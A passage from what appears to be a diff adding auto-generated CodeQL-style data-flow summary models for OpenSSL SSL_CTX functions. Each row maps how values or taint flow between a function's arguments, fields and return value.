"Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_default_passwd_cb_userdata", "(SSL_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_default_passwd_cb_userdata", "(SSL_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_domain_flags", "(const SSL_CTX *,uint64_t *)", "", "Argument[*0].Field[*domain_flags]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_ex_data", "(const SSL_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_info_callback", "(SSL_CTX *)", "", "Argument[*0].Field[*info_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_keylog_callback", "(const SSL_CTX *)", "", "Argument[*0].Field[*keylog_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_max_early_data", "(const SSL_CTX *)", "", "Argument[*0].Field[*max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_num_tickets", "(const SSL_CTX *)", "", "Argument[*0].Field[*num_tickets]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_options", "(const SSL_CTX *)", "", "Argument[*0].Field[*options]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_quiet_shutdown", "(const SSL_CTX *)", "", "Argument[*0].Field[*quiet_shutdown]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_record_padding_callback_arg", "(const SSL_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_record_padding_callback_arg", "(const SSL_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_record_padding_callback_arg", "(const SSL_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_recv_max_early_data", "(const SSL_CTX *)", "", "Argument[*0].Field[*recv_max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_security_callback", "(const SSL_CTX *)", "", "Argument[*0].Field[**cert].Field[*sec_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_security_level", "(const SSL_CTX *)", "", "Argument[*0].Field[**cert].Field[*sec_level]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_ssl_method", "(const SSL_CTX *)", "", "Argument[*0].Field[**method]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_ssl_method", "(const SSL_CTX *)", "", "Argument[*0].Field[*method]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_timeout", "(const SSL_CTX *)", "", "Argument[*0].Field[*session_timeout].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_verify_callback", "(const SSL_CTX *)", "", "Argument[*0].Field[*default_verify_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_verify_depth", "(const SSL_CTX *)", "", "Argument[*0].Field[**param].Field[*depth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_verify_mode", "(const SSL_CTX *)", "", "Argument[*0].Field[*verify_mode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new", "(const SSL_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new", "(const SSL_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[*1]", "ReturnValue[*].Field[**ctlog_store].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[*2]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[**ctlog_store].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[1]", "ReturnValue[*].Field[**ctlog_store].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[2]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sess_get_get_cb", "(SSL_CTX *)", "", "Argument[*0].Field[*get_session_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sess_get_new_cb", "(SSL_CTX *)", "", "Argument[*0].Field[*new_session_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sess_get_remove_cb", "(SSL_CTX *)", "", "Argument[*0].Field[*remove_session_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sess_set_get_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*get_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sess_set_new_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*new_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sess_set_remove_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*remove_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sessions", "(SSL_CTX *)", "", "Argument[*0].Field[**sessions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sessions", "(SSL_CTX *)", "", "Argument[*0].Field[*sessions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_CA_list", "(SSL_CTX *,stack_st_X509_NAME *)", "", "Argument[*1]", "Argument[*0].Field[**ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_CA_list", "(SSL_CTX *,stack_st_X509_NAME *)", "", "Argument[1]", "Argument[*0].Field[*ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_ctlog_store", "(SSL_CTX *,CTLOG_STORE *)", "", "Argument[*1]", "Argument[*0].Field[**ctlog_store]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_ctlog_store", "(SSL_CTX *,CTLOG_STORE *)", "", "Argument[1]", "Argument[*0].Field[*ctlog_store]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_security_ex_data", "(SSL_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[**cert].Field[***sec_ex]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_security_ex_data", "(SSL_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**sec_ex]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_security_ex_data", "(SSL_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_ex]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_tmp_dh_pkey", "(SSL_CTX *,EVP_PKEY *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**dh_tmp]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_tmp_dh_pkey", "(SSL_CTX *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*dh_tmp]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_cert_store", "(SSL_CTX *,X509_STORE *)", "", "Argument[1]", "Argument[*0].Field[*cert_store]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_client_cert_type", "(SSL_CTX *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**client_cert_type]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_client_cert_type", "(SSL_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**client_cert_type]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_client_cert_type", "(SSL_CTX *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*client_cert_type_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_param", "(SSL_CTX *,X509_VERIFY_PARAM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set1_server_cert_type", "(SSL_CTX *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**server_cert_type]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_server_cert_type", "(SSL_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**server_cert_type]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_server_cert_type", "(SSL_CTX *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*server_cert_type_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_allow_early_data_cb", "(SSL_CTX *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[***allow_early_data_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_allow_early_data_cb", "(SSL_CTX *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[**allow_early_data_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_allow_early_data_cb", "(SSL_CTX *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*allow_early_data_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_allow_early_data_cb", "(SSL_CTX *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*allow_early_data_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_protos", "(SSL_CTX *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*0].Field[*ext].Field[**alpn]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_protos", "(SSL_CTX *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[**alpn]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_protos", "(SSL_CTX *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*alpn_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_select_cb", "(SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *)", "", "Argument[**2]", "Argument[*0].Field[*ext].Field[***alpn_select_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_select_cb", "(SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *)", "", "Argument[*2]", "Argument[*0].Field[*ext].Field[**alpn_select_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_select_cb", "(SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*alpn_select_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_select_cb", "(SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*alpn_select_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_async_callback", "(SSL_CTX *,SSL_async_callback_fn)", "", "Argument[1]", "Argument[*0].Field[*async_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_async_callback_arg", "(SSL_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***async_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_async_callback_arg", "(SSL_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**async_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_async_callback_arg", "(SSL_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*async_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_block_padding", "(SSL_CTX *,size_t)", "", "Argument[1]", "Argument[*0].Field[*block_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_block_padding", "(SSL_CTX *,size_t)", "", "Argument[1]", "Argument[*0].Field[*hs_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_block_padding_ex", "(SSL_CTX *,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*block_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_block_padding_ex", "(SSL_CTX *,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*hs_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_cb", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[**cert].Field[***cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_cb", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**cert].Field[**cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_cb", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*cert_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_cb", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[**cert].Field[*cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_store", "(SSL_CTX *,X509_STORE *)", "", "Argument[*1]", "Argument[*0].Field[**cert_store]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_store", "(SSL_CTX *,X509_STORE *)", "", "Argument[1]", "Argument[*0].Field[*cert_store]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_verify_callback", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***app_verify_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_verify_callback", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**app_verify_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_verify_callback", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*app_verify_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_verify_callback", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*app_verify_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cipher_list", "(SSL_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[*sec_level]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cipher_list", "(SSL_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_level]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_CA_list", "(SSL_CTX *,stack_st_X509_NAME *)", "", "Argument[*1]", "Argument[*0].Field[**client_ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_CA_list", "(SSL_CTX *,stack_st_X509_NAME *)", "", "Argument[1]", "Argument[*0].Field[*client_ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_cert_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*client_cert_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_cert_engine", "(SSL_CTX *,ENGINE *)", "", "Argument[1]", "Argument[*0].Field[*client_cert_engine]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_hello_cb", "(SSL_CTX *,SSL_client_hello_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[***client_hello_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_hello_cb", "(SSL_CTX *,SSL_client_hello_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[**client_hello_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_hello_cb", "(SSL_CTX *,SSL_client_hello_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*client_hello_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_hello_cb", "(SSL_CTX *,SSL_client_hello_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*client_hello_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cookie_generate_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*app_gen_cookie_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cookie_verify_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*app_verify_cookie_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_ct_validation_callback", "(SSL_CTX *,ssl_ct_validation_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***ct_validation_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_ct_validation_callback", "(SSL_CTX *,ssl_ct_validation_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**ct_validation_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_ct_validation_callback", "(SSL_CTX *,ssl_ct_validation_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*ct_validation_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_ct_validation_callback", "(SSL_CTX *,ssl_ct_validation_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*ct_validation_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_default_passwd_cb", "(SSL_CTX *,pem_password_cb *)", "", "Argument[1]", "Argument[*0].Field[*default_passwd_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_default_passwd_cb_userdata", "(SSL_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***default_passwd_callback_userdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_default_passwd_cb_userdata", "(SSL_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**default_passwd_callback_userdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_default_passwd_cb_userdata", "(SSL_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*default_passwd_callback_userdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_default_read_buffer_len", "(SSL_CTX *,size_t)", "", "Argument[1]", "Argument[*0].Field[*default_read_buf_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_domain_flags", "(SSL_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*domain_flags]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_generate_session_id", "(SSL_CTX *,GEN_SESSION_CB)", "", "Argument[1]", "Argument[*0].Field[*generate_session_id]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_info_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*info_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_keylog_callback", "(SSL_CTX *,SSL_CTX_keylog_cb_func)", "", "Argument[1]", "Argument[*0].Field[*keylog_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_max_early_data", "(SSL_CTX *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*max_early_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_msg_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_new_pending_conn_cb", "(SSL_CTX *,SSL_new_pending_conn_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[***new_pending_conn_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_new_pending_conn_cb", "(SSL_CTX *,SSL_new_pending_conn_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[**new_pending_conn_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_new_pending_conn_cb", "(SSL_CTX *,SSL_new_pending_conn_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*new_pending_conn_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_new_pending_conn_cb", "(SSL_CTX *,SSL_new_pending_conn_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*new_pending_conn_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_proto_select_cb", "(SSL_CTX *,SSL_CTX_npn_select_cb_func,void *)", "", "Argument[**2]", "Argument[*0].Field[*ext].Field[***npn_select_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_proto_select_cb", "(SSL_CTX *,SSL_CTX_npn_select_cb_func,void *)", "", "Argument[*2]", "Argument[*0].Field[*ext].Field[**npn_select_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_proto_select_cb", "(SSL_CTX *,SSL_CTX_npn_select_cb_func,void *)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*npn_select_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_proto_select_cb", "(SSL_CTX *,SSL_CTX_npn_select_cb_func,void *)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*npn_select_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_protos_advertised_cb", "(SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *)", "", "Argument[**2]", "Argument[*0].Field[*ext].Field[***npn_advertised_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_protos_advertised_cb", "(SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *)", "", "Argument[*2]", "Argument[*0].Field[*ext].Field[**npn_advertised_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_protos_advertised_cb", "(SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*npn_advertised_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_protos_advertised_cb", "(SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*npn_advertised_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_not_resumable_session_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_num_tickets", "(SSL_CTX *,size_t)", "", "Argument[1]", "Argument[*0].Field[*num_tickets]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_options", "(SSL_CTX *,uint64_t)", "", "Argument[*0].Field[*options]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_options", "(SSL_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*options]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_post_handshake_auth", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*pha_enabled]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_psk_client_callback", "(SSL_CTX *,SSL_psk_client_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_client_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_psk_find_session_callback", "(SSL_CTX *,SSL_psk_find_session_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_find_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_psk_server_callback", "(SSL_CTX *,SSL_psk_server_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_server_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_psk_use_session_callback", "(SSL_CTX *,SSL_psk_use_session_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_use_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_purpose", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_quiet_shutdown", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*quiet_shutdown]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_record_padding_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*record_padding_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_record_padding_callback_arg", "(SSL_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***record_padding_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_record_padding_callback_arg", "(SSL_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**record_padding_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_record_padding_callback_arg", "(SSL_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*record_padding_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_recv_max_early_data", "(SSL_CTX *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*recv_max_early_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_security_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_security_level", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_level]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_id_context", "(SSL_CTX *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*0].Field[*sid_ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_id_context", "(SSL_CTX *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*sid_ctx]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_id_context", "(SSL_CTX *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0].Field[*sid_ctx_length]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_ticket_cb", "(SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *)", "", "Argument[**3]", "Argument[*0].Field[***ticket_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_ticket_cb", "(SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *)", "", "Argument[*3]", "Argument[*0].Field[**ticket_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_ticket_cb", "(SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*generate_ticket_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_ticket_cb", "(SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*decrypt_ticket_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_ticket_cb", "(SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *)", "", "Argument[3]", "Argument[*0].Field[*ticket_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_client_pwd_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_password", "(SSL_CTX *,char *)", "", 